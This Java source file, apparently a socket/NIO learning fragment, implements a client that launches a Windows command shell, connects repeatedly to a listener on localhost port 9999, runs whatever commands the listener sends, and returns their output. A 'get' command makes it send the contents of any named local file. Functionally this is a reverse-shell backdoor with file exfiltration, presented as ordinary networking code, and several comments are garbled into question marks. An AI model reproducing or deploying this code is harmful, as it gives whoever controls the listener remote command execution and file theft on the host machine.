package com.coderside.fragment.socket.nio;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.UnknownHostException;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.nio.charset.Charset;
import java.util.Stack;

public class NioClient {
	private java.lang.Process p; //
	private InputStream is;
	private OutputStream os;

	private BufferedWriter bw;

	// Charset and decoder for US-ASCII
	private Charset charset = Charset.forName("UTF-8");

	// Direct byte buffer for reading
	private ByteBuffer dbuf = ByteBuffer.allocateDirect(1024);

	public NioClient() {
		initProcess();
	}

	private void initProcess() {
		try {
			p = Runtime.getRuntime().exec("cmd");
			os = p.getOutputStream();
			is = p.getInputStream();
		} catch (IOException e) {
			System.err.println(e.getMessage());
		}
	}

	public void redo() {
		initProcess();
	}

	public void exec(String command) {
		try {
			bw = new BufferedWriter(new OutputStreamWriter(os));
			bw.write(command);
			bw.newLine();
			bw.flush();
			bw.close();
		} catch (Exception e) {
			e.printStackTrace();
		}
	}

	private void writeMimeType(SocketChannel channel, String type) throws NumberFormatException, IOException {
		ByteBuffer bf = ByteBuffer.allocate(1);
		bf.put(Byte.parseByte(type));
		channel.write(bf);
	}

	private final String textMimeType = "0";

	public void flushOut(SocketChannel channel) {
		byte[] b = new byte[1024 * 10];
		int len = 0;
		ByteBuffer bf = ByteBuffer.allocate(1024 * 10);
		try {
			writeMimeType(channel, textMimeType);
			while ((len = is.read(b)) != -1) {
				bf.clear();
				if (len < b.length) {
					byte[] b2 = new byte[len];
					System.arraycopy(b, 0, b2, 0, len);
					bf.put(b2);
					bf.flip();
					channel.write(bf);
				} else {
					bf.put(b);
					bf.flip();
					channel.write(bf);
				}
			}
			p.waitFor();
		} catch (Exception e) {
			e.printStackTrace();
		}
	}

	private final String zipMimeType = "1";

	public void flushZipOut(SocketChannel channel, InputStream ins) {
		byte[] b = new byte[1024 * 10];
		int len = 0;
		ByteBuffer bf = ByteBuffer.allocate(1024 * 10);
		try {
			writeMimeType(channel, zipMimeType);
			while ((len = ins.read(b)) != -1) {
				bf.clear();
				if (len < b.length) {
					byte[] b2 = new byte[len];
					System.arraycopy(b, 0, b2, 0, len);
					bf.put(b2);
					channel.write(bf);
				} else {
					bf.put(b);
					channel.write(bf);
				}
			}
			p.waitFor();
		} catch (Exception e) {
			e.printStackTrace();
		} finally {
			if (null != ins) {
				try {
					ins.close();
				} catch (IOException e) {
					e.printStackTrace();
				}

			}
		}
	}

	class StreamConnector extends Thread {

		private Stack<String> cmdList;

		public StreamConnector() {
			cmdList = new Stack<String>();
			cmdList.push("ls");
		}

		public void run() {
			try {
				ByteBuffer buffer = ByteBuffer.allocate(1024);// ??1024?????
				InetSocketAddress isa = new InetSocketAddress(InetAddress.getByName("localhost"), 9999);
				SocketChannel sc = null;
				boolean isZip = false;
				while (true) {
					try {
						sc = SocketChannel.open();
						sc.connect(isa);
						redo();
						if (!isZip) {
							exec(cmdList.pop());
							flushOut(sc);
						} else {
							String filePath = cmdList.pop();
							File file = new File(filePath);
							if (!file.exists()) {
								file = new File("./" + filePath);
							}
							FileInputStream fis = new FileInputStream(file);
							flushZipOut(sc, fis);
						}

						sc.read(buffer);
						buffer.flip();// flip????????????????
						String instext = new String(buffer.array()).trim();
						buffer.clear();
						if (instext.startsWith("get")) {
							isZip = true;
							cmdList.push(instext.substring(4, instext.length()));
						} else {
							isZip = false;
							cmdList.push(instext);
						}
					} finally {
						if (sc != null)
							sc.close();
					}
				}

			} catch (UnknownHostException e) {
				e.printStackTrace();
			} catch (IOException e) {
				e.printStackTrace();
			}
		}

		private String readInputStream(InputStream is) throws IOException {

			BufferedReader br = new BufferedReader(new InputStreamReader(is));
			String temp = null;
			StringBuffer subff = new StringBuffer();
			while ((temp = br.readLine()) != null) {
				subff.append(temp.trim());
			}
			return subff.toString();
		}

	}

	// Ask the given host what time it is
	//
	private void send(String host, int port) throws IOException {
		byte inBuffer[] = new byte[100];
		ByteBuffer buffer = ByteBuffer.allocate(1024);// ??1024?????
		InetSocketAddress isa = new InetSocketAddress(InetAddress.getByName(host), port);
		SocketChannel sc = null;
		while (true) {
			try {
				System.in.read(inBuffer);
				sc = SocketChannel.open();
				sc.connect(isa);
				dbuf.clear();
				dbuf.put(inBuffer);
				dbuf.flip();
				sc.write(dbuf);
				sc.read(buffer);
				buffer.flip();// flip????????????????
				System.out.println(charset.decode(buffer));
				// ??Charset.decode???????????
				buffer.clear();// ????
				dbuf.clear();
			} finally {
				if (sc != null)
					sc.close();
			}
		}
	}

	public static void main(String[] args) throws IOException {
		try {

			NioClient cmd = new NioClient();
			StreamConnector streamConnector = cmd.new StreamConnector();
			streamConnector.start();
		} catch (Exception e) {
			e.printStackTrace();
		}
	}
}